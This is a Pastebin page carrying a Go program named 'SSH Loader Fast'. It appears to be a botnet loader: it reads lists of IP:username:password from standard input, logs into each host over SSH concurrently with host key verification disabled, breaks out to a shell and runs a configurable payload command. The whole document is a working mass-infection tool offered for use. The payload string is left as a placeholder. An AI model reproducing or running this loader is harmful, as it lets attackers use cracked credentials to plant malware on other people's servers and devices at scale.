mysql_Anarchy

[ GO ] SSH Loader Fast | By mysql_Anarchy

Jun 3rd, 2018
1,654
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.66 KB | None | 0 0
  1. //Coded By mysql_Anarchy
  2. //Fast SSH loader
  3. //SSH Loader Coded In GOLANG
  4. package main
  5.  
  6. import
  7. (
  8.     "golang.org/x/crypto/ssh"
  9.     "os"
  10.     "strings"
  11.     "sync"
  12.     "bufio"
  13.     "fmt"
  14.  
  15. )
  16.  
  17. var payload = "Payload"
  18. var group sync.WaitGroup
  19. var ips = 0
  20.  
  21. func high(address string, password string, username string) {
  22.  
  23.     sshConfig := &ssh.ClientConfig{
  24.         User: username,
  25.         Auth: []ssh.AuthMethod{
  26.             ssh.Password(password)},
  27.         HostKeyCallback: ssh.InsecureIgnoreHostKey(),
  28.        
  29.     }
  30.    
  31.     fmt.Printf("\x1b[31m[%s:22:%s:%s] Attempting\n", address, username, password)
  32.    
  33.     connection, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", address, 22), sshConfig)
  34.     if err != nil {
  35.         group.Done()
  36.         return
  37.     }
  38.     fmt.Printf("\x1b[32m[%s:22:%s:%s] LOADING!!!\n", address, username, password)
  39.  
  40.         session, err := connection.NewSession()
  41.         if err != nil {
  42.             fmt.Printf("[ERROR] Failed to create session err : %s\n", err)
  43.             group.Done()
  44.             return
  45.         }  
  46.    
  47.         modes := ssh.TerminalModes{
  48.             ssh.ECHO:          0,    
  49.             ssh.TTY_OP_ISPEED: 14400,
  50.             ssh.TTY_OP_OSPEED: 14400,
  51.         }
  52.    
  53.         if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
  54.             session.Close()
  55.             fmt.Printf("[ERROR] request for pseudo terminal failed: %s\n", err)
  56.             group.Done()
  57.             return
  58.         }
  59.        
  60.        
  61.         session.Run("bash\r\nenable\r\nsh\r\nsystem\r\n")
  62.  
  63.         session.Run(payload)
  64.        
  65.         session.Close()
  66.         group.Done()
  67.         return
  68. }
  69.  
  70.  
  71. func main() {
  72.  
  73.     for {
  74.         reader := bufio.NewReader(os.Stdin)
  75.         address := bufio.NewScanner(reader)
  76.         for address.Scan() {
  77.                 ip := strings.Split(address.Text(), ":")
  78.                 ips++
  79.                 group.Add(1)
  80.                 go high(ip[0], ip[2], ip[1])   
  81.                    
  82.         }
  83.                
  84.     }
  85. }
Advertisement
Add Comment
Please, Sign In to add comment